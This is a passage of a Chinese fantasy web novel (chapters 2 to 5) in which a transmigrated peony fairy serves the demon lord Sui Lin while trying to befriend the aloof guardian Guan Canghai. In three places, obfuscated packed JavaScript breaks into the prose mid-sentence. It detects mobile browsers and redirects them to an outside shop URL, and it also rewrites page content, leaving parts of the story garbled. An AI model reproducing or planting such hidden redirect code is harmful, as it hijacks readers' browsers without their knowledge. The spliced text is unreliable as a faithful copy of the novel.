《啊,我追入魔的战神?》 2. 02 任务目标都出现了,就算再不想干,我还是放下了鸡腿,拿着手帕擦了擦指头,对着小酷哥行礼。 “护法。” 他还是鸟都不鸟我,只是看着随璘,你再这样目不转睛地看着魔尊,我就要磕你俩了。 其实也不耽误,我磕我的,任务方面,就算不能当他娘了,不是还有友情这条路可以走吗。 “你看,我新收了一个贴身侍女,是牡丹花妖哦。” 随璘从椅子上起来,走到我身旁,她的双手按在我的肩头,竟是把我往观沧海的面前一推。 我和他的距离不足半米,已经超出我的社交舒适度了,但我挣脱不开,只能挤出一个假笑望着。 观沧海这才眼珠子转向我,不再把我当成空气,“你的侍女已经够多了,为什么还收。” 这个对话的语气竟有种管教的意思,让我觉得魔尊和护法不仅仅是上下级关系。 “她好玩呀,也好看,可惜是个女孩子,不然我就收下了。” “你的男宠太多了。” “多多益善,不如,这个小牡丹送给你。你身边一直冷冷清清的,多个人解闷不好么。” 原来随璘是在给我牵线搭桥啊,这哪里是魔尊,这是中介公司。 “不需要。”观沧海直接拒绝,没有一点讨价还价的余地。 要不我还是打辞职报告吧,连接近他都做不到,还搞什么用情感化,三界共沉沦算了。 这么丧气地想着,我还是保持着假笑,随璘也不推荐我了,叹息道:“哎,不解风情,牛嚼牡丹,小星星还是做我的贴身侍女吧。” 观沧海也不再看我,“北境魔主我已经降伏,他愿意归顺魔尊,条件是保他子民衣食无忧。” “行啊,反正没粮了本尊就去天界哭穷。” “天界可信么。” 听听,一个曾经的战神在这里给魔尊当牛做马,还问对方天界可不可靠。我要怎么干,才能说服他回天界? “还是可信的,虽然虚伪了一些,屁事多了些。你去休息吧,辛苦了。” 观沧海转身就走,我看了眼桌上吃剩的东西,又抓着鸡腿啃起来。 “你看吧,主动给他塞人,他是不收的。”随璘好似没办法那样,对着我摊手。 “那他的衣食住行怎么搞的。” “有未成形的小精怪给他收拾行宫,不过他不铺张,很多事都亲力亲为。” 这么一听还是个勤快的,那我不是没机会接近他了。 “放心,他还是比较听本尊的话,只要本尊看重你,今后有的是机会接近。” “魔尊,你为什么要帮天界做这个任务?” “当然是有好处拿啊。你先在我这里干着吧,找机会去他身边。” “是。” 这话说了等于没说,但也从侧面知道天界和妖魔界是互惠互利的。不过我注意到一个细节,随璘没给观沧海说我是天界的牡丹小仙,而是说牡丹妖精。 随璘真正的贴身侍女叫宝珠,是个面面俱到的厉害蝶妖,长得还很漂亮。 我算是发现了,随璘宫内的侍女就没有埋汰的,环肥燕瘦,各有千秋,一个个干干净净,精气神都很足。这个魔宫的职场环境看着比我公司还要健康。 宝珠是个相当爽利的性子,让我有什么问什么,我觉得要循序渐进,所以一开始问的全是侍女的职责。 既然我是魔尊的贴身侍女,前一个月宝珠带我熟悉工作,以后我就自己跟着随璘。 秉持着风浪越大鱼越贵的道理,我开始了勤勤恳恳地打工。在这里少说多做,默默吃瓜磕CP就行了。 妖魔界的交易货币是灵石,这些石头千奇百怪,我每个月的工钱是三百灵石,相当于我在现代的三万购买力吧。 干脆一直在这里打工算了,还回什么天界,做什么项目。 我现在多了一个毛病,就是身体不太硬朗还容易饿。为了应对这个状况,我买了一个乾坤袋,里面塞满了吃的,以便随时补充。 过了一个多月,我工作都熟悉了,但再没见过观沧海。 现在宝珠和我还有另外四五个侍女贴身伺候随璘,为了给我行方便,随璘总把我带在身边。 还好,别的侍女也不觉得我抢了工作,依旧很关照我。礼尚往来,轮值放假的时候我会去街上买点吃的用的送给大家。 去了随璘身边伺候,我就发现了她是个万花丛中过的高手,在感情上那叫一个进退有度,游刃有余。她的后宫多得我都磕不过来,这种我看小说都不下注的,逮着哪个磕哪个。 今日休假,我睡懒觉,只是没想到随璘会来我的房间。被子被她掀开,冷醒的我看到她后,差点从床上滚下来。 “魔尊,今天我休息!” “还睡呢,忘了你的任务?” “……”天界的任务需要魔尊来提醒也是很幽默了,不敢表现出怠惰,但我也不是那种拿命干活的,只是委婉道:“我身子骨有些弱,想着多睡点补补。” “平时也没让你干什么重活啊。” “……呃,是的,谢谢魔尊厚爱。但我有时候多走动也累。” “所以才随身携带吃的?” “这你都发现了?” “你每次偷吃没人念叨,是本尊让大家别管。” “……” 看来我的小动作真是被看得一清二楚,要不是魔尊帮忙,我这个卧底早死几百遍了。 “天刚亮的时候,沧海回来了,你去看看他,机灵点,别一下子就被赶出来。” “是。” 赶紧起床换衣服洗漱,所以我今天本来休息,又变相加班了! 吃了早饭,我把今天分量的食物都装进乾坤袋,这就去往护法的行宫。 这是我第一次来观沧海的地盘,是一处依山傍水的宅子,看着很有古典韵味,就是太安静了,没有魔尊那边热闹。 觉得空手上门不太好,我在路上买了一篮子水果。 结果这人连门都没让我进,水果也不收。在门口干站了半个小时,心动嘉宾不给我开门,我遗憾退场。 今日倒霉,从观沧海家回到自己的单间宿舍后,我居然被偷了乾坤袋,里面的好吃的也全都没了。 折腾一上午,倒霉一上午,随璘又来了,她送来很多美食,还将一个乾坤袋丢我桌上。 “魔尊你太好了!谢谢!你怎么知道我被偷了!”失而复得让我倍感惊喜,一脸崇拜地看着她。 “派人跟踪你了,没想到你连门都没进,小星星,没用用。” 说这么可爱干什么!你要是个男的,我搞不好真的会被勾引! 我表面惭愧地低下头,实际上我的内心不为所动,这么重要的任务就指望我,你们玩儿呢。 “我能吃东西吗?”我指着这些食物。 随璘让我随便,我抓起烧鹅就撕了一条腿啃,这味道应该是醉人楼的饭菜。妖魔界里就她家的味道做得和凡人的口味差不多,爱吃凡人菜色的都会去她家。 “这些天他不会出远门,我给你放假,去找他套近乎。” “这会不会太明目张胆了。” “不会,他十六岁以后,我就打算让他开荤,经常给他塞姑娘。奈何他没那根筋,你过去,别人也只会觉得是我塞给他玩的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705077|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“毁我名声啊魔尊!” “你不是要做任务么,而且用情至深,不就是两情相悦?你把他睡了会更快完成吧。” “……”我是穿越到小黄本了吗,滚床单包治百病啊! 大家对任务的理解好像不是一样的,我清清嗓子,将烤鹅的皮撕下一块塞嘴里,然后装模作样地表示,“爱情亲情友情都可以感化,我选择做他的挚友!” “哦~”随璘挑起一侧眉梢,露出戏谑的神色。 “魔尊,护法在这里有朋友吗?” “没有,独来独往的,就和我关系好。” “这样啊,那我做挚友很适合!这个位置非我莫属。” “他也没女人,你顺便把这个位置也占了?” “……不了不了。” “为何不,我家沧海哪里差了?你看不上?” “那倒不是,是我不配。” “……” 随璘看我这么诚恳,反倒无法吐槽了,“行,你朝着朋友努力,给你放四天假。要是进不去门,你就说我让你去探望的。” 这就意味着观沧海会在家里待四天? 这一个多月来,我也搜集了一点关于他的情况。年纪小小,是个天才凡人,在妖魔族还挺受尊重,现在一些叛乱的问题都是他在出手收拾。 随璘的男宠也有十几岁的凡人少年,这说明观沧海也是符合她口味的,但她和对方并没有这方面的纠葛,反而是很正常的关系。 而且她刚才说给观沧海开荤,怎么像是家长一样的做派? 得了四天假,我今天就没有再去找观沧海,而是在房间里吃吃喝喝犒劳当牛做马的自己。 放假第一天就被我这么荒废过去了,真爽。 隔天,我给乾坤袋里塞满吃的,一大早就去观沧海家里敲门。今天我打算耗到他开门,我连粮食都准备好了。 “护法,我是姜星辰,来拜访你的!” “护法,我知道你在家。” “护法,我诚心来拜访,真的是仰慕你已久。” “护法——” 没点屁用,里面如坟场,不给我半点响声。 “护法,其实我是奉魔尊之命过来探望的!真的,你开开门吧。” 嚎了十几分钟,说了那么多话,还是搬出了随璘,这扇门才打开。早知道我昨天来的时候就说是随璘让我来的了。 大门自动打开,我进来后又自己关上了。 院子开阔,铺着砖石的大路直通正厅,左右还有回廊小路连通,是通向后面的房舍,前院种了好几棵大树,看着绿意盎然,没有深秋的景象。 “魔尊有什么事。” 苍白的少年从门口出来,他还穿黑衣,感觉都压不住这重色。一身飒爽的劲装勒出他宽肩窄腰的身板,黑瞳冷而厉,束着长发的飘带随风而起,竟有了几分缥缈仙气。 “呃,给你送些吃的。” 收回目光,我从乾坤袋里掏出瓜果糕点递过去,他接过竹篮,“你可以走了。” 赶人赶得十分顺畅,我想推进度,心急地说道:“其实魔尊让我来……” “我不睡你,走。” 以为我是自荐枕席来的是吧,说得也太直白了,不愧是妖魔界的。 “我不是来和护法睡觉的,我是来和你做朋友的!” “先做朋友,或者做兄妹、姐弟,反正最后都是脱了衣服爬床。回去给魔尊说,别再送人暖床,我真的会生气。” “……” 你之前到底经历了什么啊,话说你现在就生气了吧,不过没有动不动就打断手脚警告,看起来不是那么凶残的类型? 3. 03 人长嘴就是为了画饼的。 在他明确误会并且拒绝和我产生交集的情况下,我还需要推进关系进度,不然我的进度条是零啊,既然观沧海没有要动粗的意思,这增加了我的几分胆量。 “慢着!护法你误会了。魔尊是让我来和你打交道的,探望你,关心你的生活。但并不是让我爬床来的!真不是!” “有什么区别,受伤来探望,然后就往床上爬。” “……” 你需要给所有探病的人道歉,谁爬床啊!不过这么一想,他肯定是经历过,才会这么讲。 伤病的时候还要应对爬床的帅哥美女,也不知道是福是祸。 “我真不是来爬床的,真是交朋友来的,我很佩服你的!” 看我如此心急地辩解,观沧海沉吟着,眼神又将我打量一遍,“不是么。” “不是的!纯洁的友情!你看我的双眼。”其实也可以走爱情这条线,但我不想选,爱情多麻烦啊,朋友和亲人才是安全牌。 “我也不想和你做朋友。” “但是我想,我不会烦你的。” “你现在就在烦我。” “……呃,话不能这么讲,我这是想和你结善缘,做至交好友啊!” “我不交朋友,走。” 我都不敢开口了,只是弱弱地看着他,观沧海抬起手,还以为他要捶我,结果只是对着我一挥,我就被一股风卷了出去。 大门对着我敞开,等我倒飞出去后,门又无情关上。 他收了登门礼就把我赶出来了,能让我进门,也是因为我说了随璘派我来探望,看样子是给她面子。 可即便是尊敬随璘,他也有不会听的事情,比如开荤。 我还得想想办法去打通友情线,正好他这一世没朋友,要是成为了唯一的挚友,这分量肯定很重,到时候就能感化体内的六魔残念了。 像我看过的那些作品,很多男的都为了挚友两肋插刀,有的宁愿抛妻弃子也要帮助朋友,简直中了邪一样。我以前还吐槽过,何必结婚 耽误老婆呢,和兄弟朋友过算了。 不过今天被赶出来,我也不打算再强来,半道去了醉人楼吃吃喝喝,再打包一份回去躺平。 到了放假第三天,今天我赶早市,很早就起来。 妖魔界的赶集比凡人赶集花里胡哨,还有些重口味的区域,不过那种地方都是在犄角旮旯里,我一般都不去的。 买些妖魔界的早饭吃,没有奇怪的肉类,而是植物馅儿的饼子,配着一碗香菇汤,这生活还是美滋滋。 吃饱喝足后,我又买了一些好吃好玩的,拎着这些礼物去了观沧海家大门口。 这次不管我敲门还是喊他,里面都不应答。 他的宅邸很气派,占地面积也不少,看得出魔尊是器重他的。不过这屋子没有仆从,也没有守卫。 我已经打算找找暗门、狗洞、矮墙之类的,看看我能不能钻进屋。 目前我在魔尊面前比较得宠,一开始也被她引荐给观沧海,我爬个墙进屋,就算被逮到了也不会被随便打杀的。 按照昨天接触的情况来看,他并不是滥杀无辜的人,难道是因为上一世是天界战神,这一世就算投胎入魔了,还有着善良的底子? 按理说,观沧海这样舍己为人,很有责任心的战神,虽然在小说里面显得不够有性张力,没有那些变态吸引人,但现实中遇见了,是会非常敬佩的。 我没有找到狗洞,但是发现了南边有一处矮墙。和一家商铺租了梯子,我把梯子架在墙边,拎着礼物爬上去。 我好歹也是牡丹小仙,怎么连飞都做不到。算了,现在身子骨弱得很,还是别逞强。 谨慎地翻上矮墙,里面竟是一处鱼塘,还有嶙峋假山堆砌,水里面的鱼看着又大又肥,钓鱼佬的天堂啊。 我要是翻过墙,踩在假山上,然后能顺着这堆叠的山走到岸边,这样就算进入他家了。 只是我刚爬上假山,就看到少年搭弓拉箭对着我这边,也不知道他是什么时候出现的。我的身体左右晃动,他的箭尖也跟着晃,好似红外线瞄准。 “护法!我不是进来偷东西的,我还是奉魔尊之命,来探望你的呀!”尴尬的我坐在假山上,举着手里的礼品,有种骑虎难下的尴尬。 “翻墙探望。” “我知道你在家,你又不开门,我不就,我都爬上来了,要不让我进去?” 观沧海跟鬼一样苍白的脸看不出喜怒,他放下了弓箭,“东西放门口,你走。” “……”我试探地说,“魔尊还让我和你多说说话!陪你解闷!” “说完了?” 忽的,他又对着我挽弓,我吓得往回爬,“好好好,我把东西房门口,明天见!” 顺着梯子跑路,绕回了正门后,把东西放下,我很识时务地回去了。 我买了吃食和同事们分,宝珠也在,她说魔尊听闻传言,忽然跑去天界,把三界第一美人给掳到了魔宫里关起来。 剥着干桂圆吃,我好奇道:“三界第一美是谁啊?” “天界的青峦仙尊!看一眼就让人魂不守舍呢!” 听到这个名讳,我差点被桂圆给卡住,闹了半天是去抢我的未来老婆了。不过我和青峦八字没一撇,他顶多是天后划给我的大饼,而我现在又在妖魔界做事,这个绑架应该没我什么事情吧。 我又打不过随璘,没法救青峦,再说天后还是他的亲姑姑。 而且随璘会帮着天界助我完成任务,说明彼此之间没什么深仇大恨,顶多小打小闹? 想了一圈,我实在难得厘清这里面的恩怨情仇,还是专注自己的项目比较好,别的支线任务就不要管了吧。 权当吃瓜的我并不发表什么意见,已经开始磕CP了。 “风流倜傥的魔尊和冰山雪莲一样的仙尊,妙啊!”我竖起一个大拇指,表达了自己的吃糖思想。 “可我觉得魔尊还是和辞镜先生更相配,相濡以沫这千百年,多么深厚的情谊。”宝珠嗑着瓜子,言辞间还有几分羡慕。 辞镜是一个九千年的冰妖,绝对的魔王了,只不过一直退居幕后,不经常露面。听说是他将随璘一手扶持起来的,如师如父,甚至还是情人。 这些设定放到网文里,那不得嗑生嗑死,美味。 “这个也妙,我喜欢。”我再次竖起大拇指。 宝珠:“你不是支持青峦仙尊吗。” 我:“只要好磕都可以,我觉得魔尊可以全部笑纳。” 宝珠:“也是,咱们魔尊多少男人都收得!” “魔尊呢。” 忽的,一声冰冷低沉的询问在后背响起,我和宝珠等几个八卦的侍女都是吓得一哆嗦。 集体起身去看,无声无息出现的是观沧海。我上午去爬他家的墙,他穿的还是黑衣,这会儿倒是换成了清新的浅绿,看着没那么死气沉沉了,可还是小脸煞白。 宝珠一看是他,又松了口气,说道:“魔尊在天界带来一个顶好看的仙尊,将人藏在寻香苑,她就在那里,还让我们不要去打扰。护法有事,不如等到明日?” “给魔尊说一声,景南边陲魔主暴动,我去收拾。” “是,护法小心。” 什么意思?难道是他又要去加班了?我还以为明天能继续去他家打交道,这也太忙了吧。 等我回过神时,我已经追着观沧海走出了屋子,少年停下脚步,也不回头,像是在等我说话。 “护法!你就这么走了吗?” “嗯。” “那、什么时候回来啊?” 他好似愣了一下,像是很少有人过问他的归期,以至于听到时都觉得意外。 “与你无关。” “慢着!还是有关系的!”趁着他拔腿就走之前,我斗胆绕到了他面前,摆出一副笑容可掬的模样,“我们是朋友,关心你的安危,所以才问归期。” “不交。” “可是魔尊说要交的。你想想看,不是我来和你交朋友,说不定她也会让别人来,那你还不如就和我交朋友。我这人很好讲话的!” 听着我这绕口令一样的话,他倒是考虑了起来,我趁热打铁道:“而且,我掐指一算,你需要朋友,一个和你肝胆相照、共进退的挚友!” “你没算到我不交友吗。” “……呃,可是魔——” “别拿她说事,没成功,她也不会为难你。” 言下之意就是我不用奉命行事,不用费尽心机讨好他,反正也不会被魔尊刁难。 可是你不懂啊宝贝儿,我要是不和你搞好关系,这三界都要完蛋啊! 该不会这么水火不侵都是因为体内有六魔的残念在影响吧?可我不能和他说我知道这些,毕竟还不熟,我对观沧海的前世今生都了解得太少了。 舔,狂舔他。交朋友也是需要舔的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五百年前六魔问世,在妖魔界有不少拥护,只想着天下大乱,集体爆炸。就算六魔被封印了,这几百年来还有不少余孽想着死灰复燃。 随璘上位后,和天界小打小闹,基本是关系不错的,这个倾向也让一些妖魔觉得面上无光,是走狗的行为。 看来这个地盘还挺混乱的,没有天界那么和平。这些我也掺和不了,知道一些能避祸就行。 夜里,随璘从寻香苑出来了,她召唤我近身伺候,我看她一副精神抖擞的样子,说不定和青峦相处得还不错。 帮着她沐浴更衣,我在一旁点燃熏香,又将她的首饰们都收纳好。 “听说今日又有妖怪来找本尊麻烦,护法给收拾了。” “是的。” “沧海把妖丹送你了?” 提起这件事,我从兜里拿出锦囊递过去,“魔尊,我把妖丹装这里面了。” 她打开锦囊将妖丹倒出来,端详了几秒,笑着说:“八百年的修为,这当礼物送你,那可阔绰了。” 我不觉得这代表什么,可能换成别人,观沧海也会送。 “可我是小仙,吃不得妖丹吧,还是上交为好。” “确实,你吃了会有影响,本尊吃。不过你身子那么弱,是要滋补的。你哪天有空回天界找药王看看。毕竟你是天界的牡丹花,不是妖魔界里长出来的。如果不是枯萎复生,仙气消散,你都没法假装妖体。” “哦,知道了。”虽然觉得自己不该管,但我还是忍不住问了句,“青峦仙尊他还好吗?” “怎么,喜欢他?” “脸好看,谁不心疼啊。” “放心,本尊一向知情识趣,怜惜美人,他不会有事的。天界那边倒也是有动作了。” “呃,那我需要做什么吗?好像也没人给我传信。” “你啊,继续勾引我家沧海就行了。” “是做挚友啊,魔尊!” “哦,挚友,行。不过他出去忙了,又得一阵才回来。本尊教教你,怎么和他搞好关系。” 我脑筋一动,好奇道: “如果魔尊你和护法的关系那么好,你俩之间的感情不能净化他体内的六魔吗?” “因为本尊不是占卜出来的异世之人啊。再说,始终还差点。” 行吧,就得搞我这个牛马是吧。没了我公司就转不动了,世界就爆炸啦。 4. 04 随璘说要教我怎么和观沧海做朋友,我还以为手把手教,但她根本没有这闲工夫,处理了魔尊的事务后,她把时间都花在了泡男人上面。 唯一的好处是,她给我行了不少方便,最近都没让我去贴身伺候。宝珠给我送来了许多书,叮嘱我好好看好好学。还说学了以后接近护法就会方便许多。 我拿起这些书一看,哪里是交友的,分明是谈情说爱的。我要是照着这方式去搞,妥妥是追求对方。 盘腿坐在床上,这几本书摊开,我抱着双臂看来看去。 二十多年的人生,我的恋爱经验是零,但我磕CP的经验是从中学开始累积,这比我的工作经验要丰富好多倍。 心情不好了,磕CP能让我开心起来,不管是学业压力还是工作压力,看到CP发糖了,这狗日子就觉得还能过下去。 我身边的朋友谈恋爱,我也磕,只不过比不得纸片人磕得顺畅。现实生活中情侣发生的事情,有时候比小说狗血得多,吵起来还有互相动刀子,两边家庭破裂的。 我不是不想找对象,而是觉得找不到合适的,我不相信自己能好好谈恋爱,所以我选择用亲情、友情攻略观沧海就显得格外正常了。 其实穿越了挺好的,把任务做完,我就成流芳仙子,还有大别墅,还不会老,房子和养老问题直接解决。 反正父母要的是听话的女儿,我上有哥下有弟的,家里老二的生活谁过谁知道。对上要让着哥,对下要让着弟,二十五没结婚就是不孝顺,哥哥二十八都单身,咋不看看他是不是有毛病,这日子谁爱过谁过。 就算这任务做不成三界毁灭了,那就当是我的命算了,还能咋的,都有三界一起陪葬了。 不过最坏也就如此了。 我得认真思考怎么和观沧海交朋友,既然他不是个暴虐的性子,接近起来至少没有生命危险。 随璘说观沧海不要侍从伺候,屋子里常年就一些不化形的妖精做点家务,那我去和这些小妖精打交道?搞不好以后会给我偷偷开门呢。 不对,我的目的不是开门混进去,而是要和屋主人交朋友。动脑筋给自己想累了,我往床上一躺。 躺了几秒,翻个身,矮几放在床边,上面有两盘吃的,就是为了方便我伸手拿。拿一个肉包子,我一吃就停不下来,不吃点东西就累得慌,身体急需补充。 做任务的根本还是需要自己有个好身体,这几天目标也没回来,我应该去天界找药王看看,免得我真有什么问题。 一口气吃了三个大肉包,喝完剩下的半碗甜汤,再啃几个樱桃,我总算停嘴,准备去往天界。 天后给的传送阵当时是放在哪只手了?果然好记性不如烂笔头,我摊开两只手看,没瞧出个所以然来,先用右手对着地面甩一甩,没什么反应。 难道在左手上? 结果我用了左手也没反应,我自身是没有灵力的,当时天后也没讲什么口诀手势,她应该知道我不会这些法术,不至于设置得太复杂。 单手不行,我就双手对着地上一摆,这次地面上出现了金光闪闪的阵法。光芒看得我眼花,我小心地将一只脚放进去,又慢慢地站在阵中心,还是有点忐忑的。 确定我不会再乱动了,阵法这才安全启动。 瞬间,我就到了一个大院子里,院子里有好多仙侍,空气中漂浮着草药的气息。我凭空出现,大家却不觉得稀奇,好像经常有人这样传送到此处。 人生地不熟,我到处观望着,还想找个人问问,就有秀美的小仙娥过来了。 “小仙子是来找药王的嘛?我是禾儿,药王的侍女。” “禾儿你好,我是一个牡丹小仙,确实是来找药王的。” “小仙这边请。” 有人带路就是方便,在这偌大的地方拐了几个弯,穿了几个门厅,我在一个摆满了药柜的屋子看到了药王。 没想到药王是个随意挽着发髻的大姐姐,看着有几分随璘的潇洒劲儿,她手里拎着一葫芦,里面是液体撞来撞去的声音。 喝了一口酒,药王看向我,“你是姜星辰?” “是的,见过药王。” “天后和我说过你,我还想着你什么时候会过来。来来,让本王把把脉,看一下。” 我听话的挽起袖子,她右手指头一弹,一卷细丝缠绕上我的手腕,探听了脉搏后,她收了丝,又过来看我状态,翻翻我的眼皮、鼻孔、嘴巴、耳朵。 “你有什么不舒服的地方?” “气虚了很多,感觉很容易饿,一天都在吃吃吃。不吃就很心慌没力气。” “这就对了,毕竟你都枯萎过,算是死而复生。” 不愧是药王,这都能看出来。 “我的身体能修养好吗。” “当然能。” “那我能修炼法术吗?比如腾云驾雾,撒豆成兵什么的。” “等你身体好了,聚灵修炼,这些简单的法术可以的。” “那要多久呀?” “这得看你自己了。” 为了让我便捷些,药王并没有给我抓草药配方,这样还得自己去煎熬,所以她给的全是仙丹。 “一天三颗,吃完了再来拿,先调养个一年半载的,还有,别饿着自己,想吃多少吃多少,食补也很重要。” “知道了!”我这就是带薪吃饭,我肯定不会辜负自己的身体,我又问道,“这些仙丹很贵重吗?” “不是哦,很普通的固本培元丹药,药效没那么猛烈,你也受得住,倒是很适合牡丹花。” “哦。”倒也是解释了不给我好仙丹的原因,怕药效太强了,我这气虚的受不住。 “今后你想要什么药都可以和本王开口,没有的,本王给你炼。” “哇,这么好!谢谢药王!” “不过听说你在妖魔界那边做事,本王不好奇那些秘密,你偶尔给本王买些妖魔界的草药过来就行。你有空就过来,不用特地送。” “好,没问题!” 拿了药,我立即告辞。 因为是在自己宿舍开的传送阵,所以送回去的地方也是房间。我拿出丹药先吃一颗,这么小一粒,都不用兑水就能吞。 “去看过药王了?” “妈呀!” 突然的声音吓我一个激灵,回头看到坐在我床边的随璘,我刚才居然一点都没发觉她。 “吓着了?本尊给你拍拍背?” “不、不用了。魔尊怎么来了,我以为你在寻香苑那边。” “这不是也关心你的任务嘛,你的身体是何原因?” “哦,就是死而复生显得身子弱,也没有灵力。得好好养身体,多吃药多吃饭。” “那就行。” 确实是在关心我的情况,估计我嗝屁了,感化任务也就歇菜了,所以才这么关心。 “魔尊,护法什么时候回来?” “以他的能力,还有景南边陲魔主的能力来看,不出意外,也就三四日吧。” “哦,好的!” “我让你多看书学学,学得怎么样了?” 你那教材根本不适合我的路线好吧,我抿起一个营业性的笑容,“正在学习中,我会好好努力的。”这个话真是万能模版。 “嗯哼,你努力吧。” “我还有话要问,魔尊。” “说。” “护法这一世的爹娘呢?” “他这一世就没见过爹娘,娘是大户人家的丫鬟,其中一个少爷宠幸后又把丫鬟扫地出门。丫鬟生下他就死了,半年后,那个少爷家也被强盗灭门了。” 随璘没什么情绪起伏地说出这件事,这也太惨了吧,还以为救苍生牺牲后,观沧海转世能混一个好一点的身世。 “本尊是察觉到六魔的魔气出现才去寻找,然后就看到产婆抱着他打算卖掉换钱。” “哦,我知道了,然后你收养了护法。” “不是,本尊买下他以后,本来想直接宰掉。但居然杀不掉,那些魔气护着他的身体,本尊只好先镇住六魔残念。等到一个合适的机会再动手。” 居然是惊悚向的,不是温情向,刚刚还想丧心病狂地磕一嘴呢。 一手养大的小狼狗什么的,上一世还是战神,战神和魔尊肯定是宿敌呀。 “可我看你现在并不想杀他,对护法还挺好。” “这不是养小狗养出感情了嘛,而且也确实杀不掉。原本是打算培养成自己的势力,所以一直隐瞒着,直到天界发现沧海以后,大家达成一致,要保下他的性命,将六魔残念彻底消除。” 原来事情的前因后果是这样的,也算是懂得一些了。不过要和观沧海交朋友,还得问问他的过往。 “护法和上一世一样吗?” “本尊怎么晓得,五百年前本尊都还不是魔尊。” “这样啊。” “当时的魔尊已经被六魔吞噬了,后面本尊一直收拾烂摊子,就被大家拱上这个位置,要不是辞镜说能当,本尊可不在这蹉跎。” 所以当领导这种事,它也看命啊。 随璘捡了观沧海抚养,而随璘是冰妖辞镜养大,这两又有亲情又有友情,甚至还有爱情。 我斗胆幻想一个随璘和观沧海三情合一行不行?毕竟她比我有机会接触对方,切切实实地养大了战神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705079|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “魔尊,这话听下来,我觉得你更适合用情感化残念。” “本尊太滥情了,再说沧海算是一手养大,怎么下得去嘴啊。” “可是你和辞镜先生不就在一起了。” “哈哈哈,辞镜他不一样。” 男妈妈比狼儿子更好吃是吧,看来是指望不上了? “别打本尊的主意了,你好好干。” “我还有问题!关于护法前世的事情。” “那本尊可不知道,你去天界问更适合。” “那他这十八年来,不近女色就算了,还一个朋友都没有?” “嗯,就和本尊关系亲近些,能自理以后基本是独来独往的。” “他知道自己的身世吗。” “想了解他啊,还是多与本人打交道吧,小星星。” 拍拍我的脑袋,随璘拂袖离去,又去调戏青峦了。 又过两天,我做出了决定。 我跑去观沧海的宅子,借来梯子翻墙进去,遇见了那些不化形的小妖精,都是一些花草精灵,看着无公害又可爱。 逗弄着一个蒲公英,它晃掉一些冠毛,问道:“我知道你,先前一直来拜访的姜星辰。” 原来大家都知道我了,看来经常来打卡还是有用的,我将一些好吃的送给它们,问道:“我是想和你们问问,护法有没有什么偏好?毕竟你们和他在一个屋,要比别人了解吧。” 这些小妖精想了想,从我的手里接过吃的,打开油纸拿东西吃,开始叽叽喳喳地透底。 居然这么爽快就说了,看来平日里观沧海并不约束它们,更没有下什么封口令。 不过也没有别的人像我这样锲而不舍,甚至三番两次翻墙进来吧。 “护法自己做饭洗衣,我们有时候就是打扫一下,或者他受伤了,帮帮忙。” “好勤快啊。”我最近的衣服都是外包给了别的侍女,我出钱,别人出力,没有洗衣机真的很痛苦啊!而且我的法术又没练出来。 “他回家以后要么休息要么修炼,有时候会去闭关。” 听到新词汇,我追问:“闭关修炼吗?去哪里闭关?” “不知道闭关做什么,屋子东苑有一片竹林,那里修建了一座石房子,就是他闭关的地方,他下了封印,我们都进不去。” “魔尊也进不去吗?” “魔尊基本不管这些的。” 这件事先放在一边,我得打探一下他的交友情况才行,“护法平日里真的没有朋友来往?” “我们算吗?” “我们哪里配,就是在这开了灵识成精而已。” “对啊,我们不算朋友的。” 小妖精们自己聊起来,我连忙摆手让它们安静,忽的,身后传来熟悉的清冷声音。 “你又爬墙进来。” “护法!” 摸了电门那样跳起来转向他,结果因为身体弱、蹲久了,这一跳还把自己弄飘忽了,头昏腿软,我朝着前面一扑。 肩头被观沧海扶住,又感受到他冰凉的温度,我勉强站稳,从兜里掏出一块糕点啃恢复体力,嘴上说道:“多谢多谢,我身体比较弱,刚刚蹲久了。” “体弱还翻墙,你摔死在这里,我怎么和魔尊交代。” “……”有关心,但不多。我将油纸里的糕点递过去,“护法来点,很好吃的。” “手脏。” “我的手洗干净了,也没碰到点心。” “我说我。” 他这么一说,我才发现他浅紫的衣衫上有着斑驳血迹,还有一些尘土,这明显是做完任务提前赶回来的样子。 “护法受伤了吗?”我立即表现出关怀备至的模样。 “没有。” 那这就是别人的血了,我识趣地把点心包好,“哦,没伤着就好,那我把这些糕点包好给你,你洗了手就能吃。” “我说了,不交朋友,不用讨好我。” “你现在不想,说不定以后想了呢,让我给你做侍女也好啊。魔尊觉得你独来独往,又没个朋友解闷,还是担心的!” “她忙着政务,也忙着新宠,没空管我。” 听听,这有点幽怨的小语气,不管了,浅磕一口愉悦自己,就是这个姐狗爽啊。 看我还没动弹,他给了我一个眼神,这就是让我赶紧滚的意思了。 “护法你好好休息,我下次再来!” “……让你别来,听不懂么。” “听懂了,你让我来,早上来中午来晚上来,天天来!” 说完这话就赶紧开溜,生怕慢了一秒都要被他用法术丢出去。 5. 05 我常常觉得这日子能过就行了,按部就班的生活,能好就好,不能好我也不能干嘛,心底里倒也埋着悲观的想法。 